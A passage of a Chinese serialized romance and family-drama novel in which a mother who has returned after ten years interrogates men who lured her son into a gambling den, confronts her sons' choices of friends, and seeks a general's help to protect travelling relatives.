“二……二十两?还是七日?”
壮个男人不置信地张了张嘴,嘟囔道:“你不是说每月五两银子。”
他与他做一样的事,担了同样的风险,却每月只拿了二两银子。
站在孟南枝身侧的沈砚珩气得红了眼睛,“我这一路给你的银子可不只二十两。”
他与父亲起争执之后,照例离家出走出了京。
本想去更远的地方玩一玩,结果还没玩几日,兄长安排的人就找到了他,非要带着他回来。
他不想回京,就各种想法办逃脱。
在峄城机缘碰到瘦猴他们两个,他们帮他甩开兄长的人,与他称兄道弟,一路玩耍着进京。
银钱花完后,他甚至当了自己的玉佩,换银子给他们花。
可他们竟然是骗的,还为了区区不过二十两银子竟然就把他给卖了。
“我那时不知道公子您的身份,这一路您确实待我和胖头不薄。夫人……”
提及孟南枝,瘦个男人下意识地抖了一抖,才又接着说道:“珩公子您被夫人带走后,我们一路跟到孟府才得知您的身份。不管是孟府还是镇北侯府,哪是我们这种小人能得罪的,所以我和胖头一商量便想着不干了,可那人给的价实在是太高了。”
他吞咽着含血的口水,此刻怕得完全不敢抬头,“他说只要能哄着您进了赌坊,就多加二百两,若是能让你残了身子,就多加五百两。”
孟南枝眸色含冰,强压下心头的怒火,“那人是谁?”
瘦个男人颤着声道:“我不知道,他每次来找我都是夜里,还蒙着脸。”
不见棺材不落泪。
孟南枝起身抽起谢归舟手中的刀,提步走到他面前。
谢归舟目光始终落在她身上,生怕她有一刻的难受。
瘦个男人吓得跪着往后退,“夫人,我说的句句属实,我是真不知道,而且我只是想着切珩公子一根手指,又从没想过真让他残了。这要换了别人,珩公子可能命都没了。”
一根手指还能不叫残?
孟南枝听得满心怒火,一刀下去,左臂断落。
瘦个男人两眼翻白,直接晕了过去。
整个赌坊静下来,每个人都屏住了呼吸不敢发出一丝声响。
这传闻中的镇北侯夫人。
珩公子的母亲,可真狠。
断臂落在壮个男人身前,手指还在不停地抽搐,他吓得满脸横肉直颤,嘴巴哆嗦道:“我……我……别杀我,夫人,我知道,我知道那个人。”
“说。”
孟南枝拖拉着刀走到他面前,等着他解释。
壮个男人扭开视线,根本不敢看那满是鲜血的刀,生怕自己所说一个不如她意,就砍在了自己身上。
“前日,就是在醉香阁碰到夫人那日,瘦猴带着我从窗户翻下来逃跑,路上撞到了个把自己裹得很严实的人,那个人看到瘦猴问他事成了没有,瘦猴说没有,那人就骂了他两句,说他办个事都办不明白。”
孟南枝闻言眸色微变。
谢归舟非常适时地从赌桌上找出一册账本和笔墨递给她。
孟南枝顺手接过来,刷刷两下便在纸上再次画出那日雨夜看到的人影,“是这个人吗?”
壮个男人根本不敢靠近她,伸长脖子往前仔细看了两眼,惊呼着点头:“是,是,就是这个人,和那人的背影一模一样。”
孟南枝问:“看清楚对方的正脸了吗?”
壮个男人回想当时的情形,用力摇了摇头,“当时雨下太猛了,他不光是戴着帽子,还用黑布蒙着脸,根本就看不清长啥样。”
孟南枝追问:“他们是几个人?”
壮个男人想就没想直接道:“一个。”
就一个啊。
孟南枝眉头微蹙,眸色沉下来。
壮个男人被她眼底骤沉的寒意刺得一哆嗦,声音带着点发颤的急切补充道:“不过……不过我瞧见他主子了!就坐在巷口的马车里,是个女的。”
孟南枝目光微凝,追问的语速快了几分,“你凭什么断定那是他主子?再者说,既然人在马车里,你又怎么确定是个女人?难不成对方下车了?”
“没、没下车。”
壮个男人慌忙摇头,额间冷汗直流,为了保命使劲回想当日的细节,“那人一到车前就躬着身子,对方没邀他上车,而且雨下那么大他全都被浇透了,愣是没敢抬起头。”
他吞咽口吐沫,肯定道:“要不是突然起了一阵风,车帘被风刮开,我瞧得真真的,里头坐的那人,抬手挡了下雨,穿着粉嫩嫩的裙子,露出的手脖子白的晃眼,肯定是个女人。”
第68章 将军这是惦记着别人的妻子呢
女主子。
孟南枝想到的第一个就是林婉柔。
可林婉柔那日在孟府门前跪了几个时辰,又被沈卿知亲自带回府,紧接着便是装病请太医。
忙得脚不沾地,到处都是人证。
若真查,还真查不到她身上。
思此,孟南枝又问道:“还有没有其他特征?若是再见到,能认得吗?”
“我……”
壮个男人不敢肯定,车帘被风刮起来,那女人又刚好挡了脸,他想认,但却是真认不出来。
见他这般模样,孟南枝心里便有了数,同谢归舟微微颔首,非常客气有礼地说道:“劳烦将军先把这几人看管起来。”
她现在已经不信府尹能好好地办事了。
沈卿知完全变成了她不认识的样子。
林婉柔这十年没少从她高升的父亲那边获利。
平阳公府、吏部尚书,还有已经成为户部尚书的林父。
京中势力缠绕,自己的子女又与他们不对付,很难说这几人没有关联。
谢归舟同她温和颔首,对钱飞轻轻打了个手势。
钱飞便带着侍兵进来将晕倒的瘦个、壮个,鬼鬼祟祟的男人,还有把头等人全都押了出去。
至于剩下的其他人,也都送到了顺天府。
长子沈砚修姗姗来迟,看到现场的惨状,一脸担心地看向沈砚珩,“珩弟你没事吧?”
他刚从百万那里得知珩弟不仅没去寻“书童”,反而一大早进了赌坊。
“哥,我没事。”
沈砚珩摇了摇头,垂头站在孟南枝面前,态度诚恳,“母亲,我错了。”
若非母亲及时赶到,他手指就真的被砍了。
虽然此事是别人故意诱导,但一想到次子刚才在赌桌上的表现,孟南枝就觉得心口闷得难受。
他那般兴奋激动的模样,明明就是乐在其中。
而他又不喜读书,总是旷课。
难道次子是真的就是喜欢赌?喜欢去那风月场所?
抛开巨幕中那些影响她情绪的想法,孟南枝对沈砚珩轻声道:“你不是说出来接书童吗?书童呢?”
给长子一个先别说话的眼神,她想看看经历此事,次子到底会不会同她说实话。
没有责备他参赌一事,沈砚珩松了口气。
母亲今日已经为他付出这么多,他不能再让母亲担心。
“我让他等着呢,母亲您等我一会儿,我这就带他过来。”
说罢便匆匆跑了出去。
谢归舟给钱飞使了个眼神,让他在后面跟着。
沈砚修轻扶着孟南枝走出乌烟瘴气的赌坊,替弟弟解释道:“母亲,珩弟他是怕你生气。”
孟南枝点头,示意他放心。
她心中有数,次子还是太过敏感了些。
只有缺乏安全感的孩子,才想要瞒着一切坏事,力求不被责备和抛弃。
既然他对长子说是“朋友”,她倒是想看看这个经历赌坊一事,还能被次子放在心上想要拉在她面前,做书童的“朋友”是个什么样子。
三人站在赌坊门前等了一会儿,果见次子沈砚珩带着一名“书童”从小巷里走出来。
书童比沈砚珩稍高半寸,穿着一身新制的长袖短衫,还颇为不适应地拉了拉衣角。
见到母亲他们站在外面等着,沈砚珩连忙小跑了过来,“母亲。”
孟南枝细细的打那量跟在他身后的那名少年。
皮肤稍黑,眉眼之间略有青涩,却是双目清亮,带着股未被打磨的锐劲。
不像是个书童,倒像是个刚出茅庐的江湖小子。
而且,有些面熟。
少年在沈砚珩的示意下给孟南枝躬身行了礼,“夫人。”
表情没有身为奴仆的卑微,而且动作略显生硬,像是刚刚排练的。
孟南枝看他与那日抢她荷包的小贼有些相似的身形,语气平和地问道:“叫什么名字?”
“书童”看了眼沈砚珩,沈砚珩抢先答道:“不语,母亲,他叫不语。”
观棋不语。
兄长的书童叫观棋,他的书童叫不语。
沈砚珩对自己的机灵点了个赞。
谢归舟却是垂眉看着“不语”,眸色暗了暗。
“多大了?”
孟南枝没揭穿次子辛辛苦苦的表演。
不语道:“十五。”
竟然比自己年长一岁。
沈砚珩显然并不知道他的年龄,听到后有些惊讶,却碍于母亲在场没有说话。
肚子发出“咕噜咕噜”的声响。
沈砚珩尴尬地挠了挠头,他一早出来到现在都没吃东西。
孟南枝没再继续问下去,看了眼次子的肚子,即生气又心疼,“走吧,先去吃饭。”
离这里最近的地方是聚鲜楼,几人便徒步走了过去。
此次的店小二见到他们比任何一次都恭敬,整个身子弯得头都快贴到了肚子上,“将军,世子,夫人,楼上请。”
几人还未踏上上楼的台阶,一向只会卧在房间装睡的贾掌柜就跑了出来,半躬着身子亲自迎着他们上楼。
“侯夫人,咱是进哪个雅间?是沈世子的,还是将……”
贾掌柜后面的话还未说出来,屁股就被人狠狠地踹了一脚,整个身子跌趴在台阶上。
他一脸懵逼,他说错什么了?
不就邀请一下镇北侯夫人吗?
将军至于下这么重的脚么。
待他趴起来,孟南枝盯着他两只青黑的眼圈,有些不解,“掌柜的想说什么?”
“没,没……”
贾掌柜看了眼谢归舟有些微怒的眼神,连忙摇头道:“我是想问问夫人要不要点一份店里新出的月龙茶。”
他有怒,但他不敢说。
上次镇北侯夫人带着沈二公子来吃饭,他没通知将军。
结果是,另只眼又挨了一拳。
导致他两只眼睛都是青肿的,看人都觉得有重影。
他完全按照将军说的保护好沈世子,惹事了就跟他汇报,没事了就好好待着。
不就两次什么事都没发生,想着没必要通知他么,就一次挨一拳。
若非他花重金请将军身前的红人——钱飞,吃酒。
怕是到现在还没看明白,将军这是惦记着别人的妻子呢。
那他客气点,想着替将军表明下心迹,他竟然还不愿意了。
“那便上一份吧。”
孟南枝微微颔首,心里却是有些奇怪这聚鲜楼的东家竟然会请这么一个掌柜,明眼一看就不是块做生意、能撑得起商铺的料。
几人依旧进的是沈砚修常坐的雅间。
孟南枝直到坐下来看到身侧的谢归舟,才突然想起来,她此前在这雅间闻到的松脂香和谢归舟身上的气息有些相似。
便直接开口问道:“将军常来这里吃饭吗?”
刚坐下的谢归舟指尖微顿,抬眸对上她清亮的眸子,温声道:“偶尔。”
孟南枝微微颔首,“那将军知不知道这大衍湖是如何抽干了水?又为何这么多年不再存水?”
第69章 母亲眼光毒到,记忆力也太好了些
谢归舟的目光从她清透的眸子,移到她的发间,那枝被她随手插在发间的玉簪泛着温润的光泽。
他眸色微闪,端起桌前的茶盏轻饮了半口,略带苦涩的茶水流入喉间,吞咽了复杂的情绪。
将茶盏轻轻放下,他再开口,语气平静得像是在背诵水利通史。
“据我所知,大衍湖水之所以干涸是因为上游改道,失去了水源的支撑;不再存水则是因为缺乏地下水的补给。”
孟南枝微微颔首,没再继续追问。
大衍湖并非是天然湖泊,而是当年大衍国初建时,工部为了调节汛期水量,保护京都及周边农田所建的人工湖。
这么多年,京都人早已习惯了它的存在。
所以孟南枝认为,即便是他溺亡,以沈卿知的能力,还不足以说动工部改道。
谢归舟见她不再询问,眸色渐渐沉了下去。
他那时所做的事,并不算光彩,放不到台面上。
聚鲜楼的饭菜一如既往地好吃。
谢归舟吃到一半,突然有侍兵匆匆过来寻他,便告辞先行离去。
孟南枝与儿子慢条斯理地享受完这顿饭后,也开始干正事。
下大雨父亲进宫寻圣上那日,她便已安排刘嬷嬷把名下所有可用的银钱拿去买赈灾物资,如今也该看看是否都备齐了。
圣上是位明君,朝政治理清明、经济繁荣、社会安定。
特别是孟南枝溺水的这十年,因谢归舟的骁勇善战,北戎不再滋事,边疆稳定,大衍的发展变化还是很大的。
只是在沈卿知和林婉柔的打压下,刘嬷嬷不敢出头,没有抓住经济发展的机遇,所以导致她名下商铺做的都是普通的衣食生意,收益也就变得中规中矩。
孟南枝带着沈砚珩他们兄弟俩去了存放赈灾物资的仓库。
因着收益一般,所购买的物资也就并未堆满仓库。
但好在也是足够多的。
孟南枝一边仔细清点物资,一边耐心向长子讲解若洪水决堤可能引发的后果。
父亲若真为长子求到了去山城赈灾的机会,她总归是要让长子提前做好准备的。
虽然这些内容在书院里教授也曾讲过,但沈砚珩依旧听得还是很专注。
母亲讲述的角度与教授截然不同。
教授所讲偏重于朝堂的应对策略与政令推行,而母亲则从百姓的衣食住行、田亩收成讲起,把洪灾对百姓生活的影响描绘得细致而真切。
所以他听得连连点头,时不时地提出疑问,眼中满是新奇的光芒。
长子如此懂事且好学,孟南枝觉得很有成就。
待看到听得有些困意上头的次子沈砚珩时,眸色微闪,暗自摇了摇头。
等结束几人回到孟府后,孟南枝将次子沈砚珩单独叫到了阁楼。
因沈卿知不正确的教导,次子不管是行为还是心理,都多少有点问题,她不能置之不理。
“珩儿可有话要与母亲说?”
孟南枝的声音很轻,却带着独属于母亲的威严。
沈砚珩低垂着眼,未作声。
他就知道母亲不可能不生气,上次看到他进入风月场所,这次又抓到他去赌坊,肯定对他更失望了。
若是父亲,他肯定是置之不理,大不了被打几鞭。
可这是母亲,他好不容易才盼着回来的母亲。
他没有与母亲过多相处的经验,不知道该怎么处理。
见他一直不说话,孟南枝默默叹了口气,主动询问:“不语是什么情况?”
她可以查,但更希望他能说实话。
原来不是因为他去赌坊啊。
沈砚珩悄悄松了口气,抬眉看了眼母亲还算温和的脸,才小声道:“是我在外面认识的一个朋友。”
“今日那两个人也是你的朋友。”
孟南枝有些恨铁不成钢。
沈砚珩面色尴尬,强行解释,“不一样的母亲,不语他是个好人。”
孟南枝道:“好人能偷人荷包?”
她又不瞎,岂会认不出他是当初偷自己荷包的那个小贼。
“那……”沈砚珩一时语塞。
母亲眼光独到,记忆力也太好了些。
想到自己从母亲回来后所有的表现,也太差了些。
他有些无措,不知道该怎么解释,下意识地开始啃咬手指。
孟南枝看着他啃咬手指的动作,起身从柜子里拿出药箱,走过来轻声道:“把手伸过来。”
说罢便握出他的手腕,制止他继续啃咬手指的举动,将他的手置放在桌案上。
长年修长的手指上新起了泛白的齿痕,指尖微微渗着血珠。
癖好摆在母亲的面前,沈砚珩有些不好意思,指尖缩了缩,将手指握成了拳。
“别动。”
孟南枝轻拍了拍他的手,取出药瓶,倒出一点清凉的药膏,用指腹在他指尖缓缓揉开。
次子未满周岁时喜欢吮指,两岁多时又喜欢啃指,她那时为了纠正他这个毛病,常常取了苦瓜水抹在他的手指上。
好不容易在三岁时给他纠正好了,没想到自己竟然溺了水。
等自己好不容易穿回来,间隔十年,他这喜欢啃咬手指的毛病竟然更重了。
药膏入指,带着股凉意,沈砚珩看着母亲轻柔的动作,双眸渐红,声音中带了哽咽的哑意,“母亲。”
“疼吗?”
孟南枝手上的动作放得更轻了些,把旧伤的指头也都涂上了药膏。
“不疼。”少年的眼睛更红,他抽了抽鼻子,别开视线,“对不起。”
声音很轻,轻的孟南枝以为这声道歉是从空中飘来的。
她抬眸看了眼他别扭的举动,双眸之中染上温和的笑意,细心地为他缠上白纱,又轻轻在他手指上拍了拍,“以后莫要再咬了。”
沈砚珩抿唇,乖乖点了点头,“嗯。”
见他听话,孟南枝眸中的笑意更深了些,语重心长道:“珩儿,不管发生任何事,你记得你还有母亲,还有哥哥,妹妹和外祖父。就像母亲并未瞒你们我是从溺水之时直接穿到十年后的现在,因为你们都是我的家人,母亲信你们,不想让你们心有猜忌。”
“母亲,我眼睛里进风了。”
沈砚珩扭开脸,用袖口使劲擦了下眼睛,还藏着鼻子的抽动声。
孟南枝静静地看着他,没做多余的关怀。
次子的性子,不仅敏感,还过于要强了些。
静等了几息,沈砚珩转过身,面上已恢复正常,只是眼尾还带着泛红的湿意。
“母亲,他叫江鱼。”
第70章 那种厌恶让她心口猛地窒息起来
江鱼,姓江。
孟南枝眸色微闪,竟然和母亲同一个姓氏。
她想起巨幕中陆筝筝身边有个同样叫江鱼的,只是戴着半截面具遮了脸,为人行事非常阴狠毒辣。
与今日所见双目清亮的少年,完全是两种不同类型的风格。
或许不是同一个人?
但孟南枝不信巧合,巧合多了,便是阴谋。
她抛开思绪,听次子沈砚珩接着说:“我与父亲关系不好,所以就经常跑出去玩。有一次在外面与人起了争执,差点……”
说到此处,他顿了顿,似不想再与母亲提及过往,转换了语气道:“总之,母亲您信我,江鱼他真是个好人,我们都认识半年了,他从没做过坏事,上次拿你荷包还是我逼着他干的。”
“他跟我一样也是离家出走的,上次见他,他说银子快花完了,想在京都找个事情做。昨日你问我书童,我便想着让他来做我书童也不错,就才又寻了他。”
孟南枝微微颔首,没去打击他的赤诚之心,“他是哪里人?家里是做什么的?”
沈砚珩道:“梢城,他说家里是开武馆的。”
怪不得眉目间带着股江湖气,食指轻扣桌案,孟南枝轻声道:“明日我会再为你寻位书童,至于江鱼,他若缺银子,母亲便先支些银子给他。若想寻事情做,母亲也会在京中为他寻个活计。”
总之为了预防万一,不能把他放在次子身边。
沈砚珩也不在乎江鱼是不是一定得在他身边,见母亲安排得很是妥当,当场便应道:“那我代江鱼先谢谢母亲。”
“行了,跟母亲不用这么客气。”
孟南枝笑着轻拍了拍他肩上的灰尘,温声道:“弄得满身脏气,你快去洗漱一下,歇息吧。”
送次子下楼后,孟南枝也开始洗漱,累了一天身上黏湿无比,还沾着股血腥气。
自从月芹跟着她来到孟府,孟南枝便很少让刘嬷嬷跟在身上伺候了。
她上了年纪,脚还有些坡,上下阁楼总归是有些不便。
刘嬷嬷一开始还不愿意,但耐不住胡姨娘也跟着劝她,这才抹着眼泪同意了。
孟南枝由着月芹替她松了发髻,擦干长发,又由她扶着进了浴桶。
热水一浸,孟南枝只觉浑身舒畅,一日来的疲惫都消散了不少。
她靠在浴桶边缘,双眼轻阖,享受着这难得的宁静。
日暮西下,夜色渐涌,庭院下的青砖倒映着沈砚修的影子,他仰头望了眼母亲所住的楼阁,在院内来回地踱步。
珩弟被母亲单独叫了去,他自然知道母亲是生了气。
但母亲没叫他,他便听话地一直在庭院等着。
只是都个把时辰过去了,珩弟还未下楼,他担心珩弟的脾气会把母亲惹得更生气。
毕竟珩弟身上有过太多前例,他每次犯错与父亲说话时,都把父亲气个半死。
正等得焦急时,观棋从主院小跑过来,道:“世子,陆小姐来了。”
筝妹?
沈砚修皱眉,她怎么会在这个时候来寻他?
虽然不解,但他仍是起身去了主院。
原本斜依在树干旁的少年江鱼,也起身跟在他身后去了主院。
沈砚修到了主院正厅时,陆筝筝穿了身粉嫩嫩的衣裙立在厅内,烛光打在她娇柔的脸上,泛着细碎的光泽。
看到他进来,陆筝筝眉眼间带着惊喜,只是开口时,仍带着怯生生的语气,“世子哥哥。”
“你怎么来了?”
沈砚修的表情无悲无喜,他以前总是欢喜着见她。
可母亲回来后,经历这么事。
再看陆筝筝,沈砚修就觉得她对他总是少了份真诚。
自然而然对她的感觉也就淡了。
见他语气如此平淡,陆筝筝暗握了握手指,故意换上难过的神情,似水的双眸里含了泪珠,“我……我来给你送些衣物。”
她的两手边各放了一个包裹,满满当当。
看起来就很沉。
想到她较小的身子要拖着两个这么重的包裹来,沈砚修的语气就变得软了下来,“我这里有衣物,不需要送。”
陆筝筝抬手擦了下脸上的泪珠,哽咽着说道:“我也不只是送衣物,我……我还想来看看世子哥哥。”
沈砚修闻言心中微堵,从怀中抽出帕子递给她,“你,别哭。”
她就知道,沈砚修见不得她哭。
陆筝筝低垂的眸子里含了笑,从他手中接过帕子轻轻擦了擦眼泪,细声细气道:“谢谢世子哥哥,我已经两日未曾见过你了,我有些想你。”
若是以前,沈砚修直接便会回她“我也想你”。
可今日,沈砚修却是没接她的话,只是看着她,淡淡地问了问:“你这两日可好?”
陆筝筝点头又摇头,声音中依旧带着想要哭的嗡气,“世子哥哥,南姨把侯爷送给我的及笄礼拿走了,你能不能帮我和南姨说一下,把那及笄礼还给我啊。”
还?
沈砚修听到这字有些生气,那本就属于母亲的东西,怎么到了她嘴里跟母亲抢的一样。
见他面色沉下来,陆筝筝秀眉微蹙,换了种方式接着又道:“世子哥哥,你也知道,我的父亲走后,陆家那边看不起我和母亲,我及笄时都没有收到任何礼物。”
她的面上,泪如雨下,声音中满是哽气,“是侯爷心疼我,这才专门为我打了金簪。我对金簪有多喜欢,世子哥哥你是知道的。”
“我母亲没有拿你的金簪,你的金簪在你母亲那里。”
沈砚修皱眉,母亲只是取下了宝石而已,并没有拿她的金簪。
“可那金簪里的宝石被南姨拿走了。”
陆筝筝微愣,母亲说让她来孟府拿宝石的。
“那是我外祖母的遗物。”沈砚修有些生气地握紧了拳头,“我让观棋送你回去。”
陆筝筝眸色微变,含泪攥住了他的衣角,“对不起世子哥哥,我不知道,不过你可以和南姨说,我愿意拿东西换,任何东西都可以。”
“任何东西都不可以。”
沈砚修盯着她的眼睛,沉默几息,突然甩开她的手,对观棋喊道:“观棋,还不快送她回去。”
观棋连忙应声上前,对陆筝筝微躬了躬身子,“陆姑娘,请吧。”
陆筝筝第一次在沈砚修的眼中看到厌恶的情绪,那种厌恶让她心口猛地窒息起来。
东邻府院,忙碌半天的谢归舟带着满身血腥味回了府。
上了阁楼后,他先是看了眼对面阁楼内还未熄灭的烛光,这才开始宽衣准备沐浴。
云雾缭绕的水雾中,衣袍垂落,露出清瘦却有力的后背,肩胛与腰肌的线条交相辉映,每一寸肌肉都藏着股难以忽视的力量。
屏风半掩,遮盖了臀部,却隐隐可见露出的腰窝。
随着他整个身子浸入木桶,过满的水便向外溢出了一些。
热水打在指尖,他忽地收起了右手。
脑中闪现今日被孟南枝握住的画面。
他将右手举到眼前,指腹间还残留着她的软意。
他缓缓闭眼,将掌心贴付在唇鼻,鼻息间尽是那如蔷薇般勾人的幽香。
“将军。”
一声轻声从门口传来。
枝枝。
他猛地睁眼,青筋暴起,喉间溢出一声闷哼。
第71章 她怕再看下去,容易伤人感情
半个时辰前。
心口窒息的陆筝筝晕倒了。
当然,她装的。
因为今日沈砚修对她太过绝情了。
陆筝筝从来没有在他眼中看到过那种讨厌的情绪。
明明他以前同她说话永远都很温和。
明明他以前对她比他的亲妹妹还要好。
明明他以前看向她的目光永远都是宠溺。
怎么南姨才回来不过几日,他就都变了。
不仅拒绝她送的食盒,还对她露出厌恶的情绪。
她只是想要回自己的及笄礼而已。
又没有要南姨的命。
沈砚修刚刚走出厅门,就听到身后一声摔倒的闷响。
没有“噗通”一声,是那种身子软软落地后,头才轻轻放下的声响。
一直默默看着的“书童”江鱼,忽地轻笑了一声。
京里人真会玩。
观棋连忙过去想着扶她起来,“陆姑娘。”
沈砚修扭头看向倒在地上可怜兮兮的陆筝筝,眉头微皱。
刚准备回身到正厅过去扶她,却听身后传来管家焦急的声音,“世子。”
沈砚修脚步一顿,回头望去,只见老管家小跑过来,微躬着身子递给他一封信,“今日待黑明姑娘来了,您不在,就给您留了封信。”
那小姑娘眼睛滴溜溜地转,没见老爷和姨娘,就想着见世子。
没见着,都出门了又拐回来塞给他一封信。
还交代他不能给别人看,一定要亲自交到世子手里。
他年纪有些大了,直到临睡前才想起来此事。
明挽月?
她找来有什么事?
沈砚修接过信,抽出看了两眼,完全忘记了正厅里还在晕着的陆筝筝,就慌忙跑向母亲的院子。
青石板的有些凉,陆筝筝等了百息也没有等来沈砚修扶她,便悄眯眯地睁开一只眼。
哪想一双清亮的眸子,正在她的头顶似笑非笑地看着她。
她小脸一白,泫然若泣道:“你是谁?世子哥哥呢。”
江鱼扯了扯嘴角,“走了。”
“走了?”陆筝筝的脸色更白了,沈砚修竟然真的没管她。
“你摔得太假了,下次注意一下,正常应该脸先着地,而不是屁股先着地。”
江鱼指正完她的落地姿势,不等她反应也出了正厅。
陆筝筝的小脸又红又白,这个不知从哪里冒出的奴仆竟然消遣她。
她听到了,管家说明姑娘给沈砚修留了信。
他定是看到信之后才不来扶她的。
可他以前明明说最讨厌那明姑娘。
孟南枝刚沐浴完出来,乌发还散着未梳,阁楼就传来“噔噔”的轻响。
长子沈砚修急匆匆跑上来,气息有些不稳道:“母亲。”
“慢慢说。”
孟南枝抬手示意月芹先不用为她擦发。
沈砚修将手中的信贴递给她,“明夫人带着明挽月回边关了。”
下大雨那日,他目睹母亲与外祖父画图说九曲河若决堤,哪些县郡会受到波及。
明挽月给他留的信中说,明老夫人病了,她们要回边关。
可她们若回边关必经决堤之县。
母亲今日刚和他讲了,若是洪水爆发,九曲河决堤,流民定会四起。
那她们两名女子,如何好过。
所以他一看到信就过来寻母亲。
孟南枝看完信后,神色同样凝重。
巨幕中提到的明家母女回边关是因为长子退婚,她以为暂时不退婚便能改变她们的行程,不会让她们走上死亡之路。
没想到推了两日后,竟又冒出来个明老夫人生病。
还是把她们给引回到了去边关的路上。
就如同她在书院那次,明明已经阻止了四皇子与陆筝筝的进一步发展,但隔了一日,他们两人还是同进同出一样。
只是推迟,却并未改变。
思此,孟南枝抬眸看了眼长子,不管他们如何,至少她所感受到的长子和次子是在改变的。
“她们走多长时间了?”
对于明家母女,她不能不管。
沈砚修回想管家说的话,“待黑走的,应该也就几个时辰。”
孟南枝微微颔首,果断道:“修儿你先去明府问下明夫人她们是往哪个方向走的,几个人几辆车,估算下行程。”
“是,母亲。”
沈砚修听完扭头就下了楼阁。
孟南枝抬眼看向东邻阁楼刚刚亮起的烛光,将还未干透的湿发松松挽了个髻,捡起梳妆台上取下尚未收起的玉簪,斜插在发间也跟着下了楼。
穿过孟府大门,她直接急步走向了东邻府院。
“孟姑娘。”
刚跟着将军回来打算先吃点东西的百万,见到她很是激动。
孟姑娘人美心善,他前日里受伤还是她安排了大夫给看的。
孟南枝浅笑,“将军呢?”
百万看了眼阁楼,“将军上楼了,我去给你喊啊。”
钱飞拽住他的手腕,不让他动,“孟姑娘,我们还没吃饭,要不您自己上楼吧。”
百万还准备说话,被他重重地踩了一脚,痛得直咧嘴。
孟南枝看了眼他们手里端着的碗,轻轻点头,“那你们先去吃饭吧。”
说罢,便提起裙摆独自上了楼阁。
一百万个不理解的百万抽出脚,狠狠地回踩在了钱飞脚上,“为什么踩我脚?!”
“将军在楼上沐浴呢,你怎么能让孟姑娘独自上楼呢?若是将军失了清白……”
钱飞翻了翻白眼,将手中的馒头塞在他的嘴里,“好好吃饭吧。”
没长脑子就多补补。
蠢死了。
这栋阁楼同她所住的阁楼布局差不多,所以孟南枝熟门熟路地便上了二层。
木门半掩,孟南枝抬手轻扣,却没有回应,便轻轻道了声,“谢小叔。”
里面传来一声隐忍的闷哼,还有的流水落地声。
孟南枝眉峰微蹙,难道谢归舟受伤了?
便又抬手重重地扣了两响,声音也放大了些,“谢小叔?将军?”
出于礼貌,她正纠结要不要推门进去时,门便“吱呀”一声从里面打开了。
堂中水汽未散,往外溢出的暖雾里,谢归舟束起的长发微湿,水珠顺着鬓发滴入脖颈,晕染在衣襟上。
他似是穿得匆忙,素净的白衣领口微敞,露出一片好看的锁骨,玉带系在两手可握的腰间,更显肩宽腰窄。
身材真好。
不似少年的羸弱,也不似中年的松垮。
完全独属于青年的挺拔、健硕和匀称。
当然,若是薄肌的话……
孟南枝视线移到腰部,便非常克制地不再往下看了。
都说练武之人五感很好,她怕再看下去,容易伤人感情。
第72章 一见孟姑娘就大脑缺氧的不治之病
谢归舟的目光落在她的身上,黏湿得完全移不开。
孟南枝如他一般刚沐浴完,乌发半湿的发间还插着他递给她的那根玉簪,几缕贴在鬓边,更衬肌肤胜雪。
穿了件素色襦裙,丝织的衣料微贴,勾勒出纤细的肩颈与腰身。
呼吸间口鼻满是她身上的诱人蔷薇香,缠缠绕绕,让他心口再次起了燥热。
将左指陷入掌心,刺痛那还未曾愈合的伤口,谢归舟才迫使自己移开视线,只是那开口的声音却是无法控制的嘶哑,“有事?”
孟南枝颔首,“想请将军帮个忙。”
谢归舟请她进屋,“但说无妨。”
刚一进屋,鼻息间便闻到一股浓浓的咸湿气。
孟南枝忍不住打了个喷嚏。
谢归舟眸色微变,耳根泛了红,声音带了颤意道:“屋内刚洒了海盐,下去说吧。”
场面有些尴尬。
孟南枝一时耳根也起了热,率先走在他前面下了楼,却是趁着拿起袖帕轻擦鼻息的功夫,透着臂弯的空隙,轻飘飘地瞥了眼身后谢归舟的腰下。
真伤了?
还是屋内藏了其他人?
到了楼下庭院内,凉风微吹,孟南枝鼻子好了许多,没有迂回,直接对他说道:“我想向将军借几名得力点的侍卫。”
明老夫人生病已是事实。
百善孝为先,即便是洪水爆发,九曲河决堤,孟南枝也不好强行将明夫人她们强行留下来。
她现在唯一能做的便是寻几个得力的人,将她们安全地送到边关。
谢归舟目光扫过她略红的耳根,眸色深沉,温声道:“好。”
这就同意了?
不问问她干什么?
孟南枝抬眸看向谢归舟,带了点不解。
谢归舟似看出她眼中的疑惑,清冷的眸子里含了丝笑意,顺着她的想法问道:“不知你借人准备做什么?”
这才对嘛。
别人求你办事,不要回答得太轻易。
要不然会让人觉得过于轻松,没有成就感。
孟南枝郑重道:“明夫人带着明姑娘回边关,我担心路上不安全,所以想安排人护送下她们。”
谢归舟温声笑道:“有心了。”
他对蹲在大树下面吃饭的钱飞打了个手势,钱飞便扔下碗跑过来。
还在啃馒头的百万也直起了身子,还没跑到跟前,就见钱飞又往门口中跑。
他连忙跟上前问道:“将军叫你干嘛呢?”
钱飞回道:“叫几个得力的护卫送明夫人回边关。”
百万扭头看了眼将军,“将军是不是得了什么病?他忘记下午已经安排过人护送了吗?还是他亲自挑的人,你说你怎么也不提醒提醒将军。”
钱飞懒得理他。
跟蠢人在一起,只会拉低他的智商。
将军是有病,还得的是一种一见孟姑娘就大脑缺氧的不治之病。
但这种病好的一点是,他只要不得罪孟姑娘,这辈子都衣食无忧了。
将军让你做什么,你就做什么就对了。
反驳太多,只会显得更蠢。
见钱飞不理他,百万停下脚步,就准备拐回去,“我看钱飞你最近是飘了,办个事情都办不明白,还是得我聪明又伶俐的百万来提醒将军。”
只是他脚步刚停,就被钱飞半夹起来拖着走。
不是他非得带着这个猪队友,而是他不想因为这个猪队友平白挨了将军的罚。
还是让他少在将军面前晃悠的好。
省心、省力。
最主要的是省罚。
见谢归舟安排妥当,孟南枝放了心,“那就有劳将军,我先去准备下东西,还要劳烦那些侍卫一同带去。”
说罢,孟南枝便对他微微行礼,告辞回府。
谢归舟盯着她纤细的背影,眸色却是沉了几分。
她与明家虽是亲家,但却也并没有那么熟。
依她的脾性,得知明程氏回府,最多也是送些薄礼,交代些要事,到不了还要问他借人去保护的地步。
除非她非常确定明程氏有危险,还是必死的危险。
要不然,她不会主动走到他跟前来,再欠一个人情。
因为他知道,她最怕还的就是人情债。
虽然他很乐意被她欠着。
孟南枝回到孟府的时候,次子沈砚珩已洗漱完毕,和江鱼一起坐在厅院内等她。
见她回来,起身三两步便跨到她跟前,“母亲。”
孟南枝微微颔首,轻拍了拍他的肩膀,“怎么不去歇着。”
沈砚珩看眼她的身后,“江鱼说哥哥和您都出去了,我不放心。”
孟南枝知他担心兄长,便道:“你哥去了明家,一会儿就回来了。”
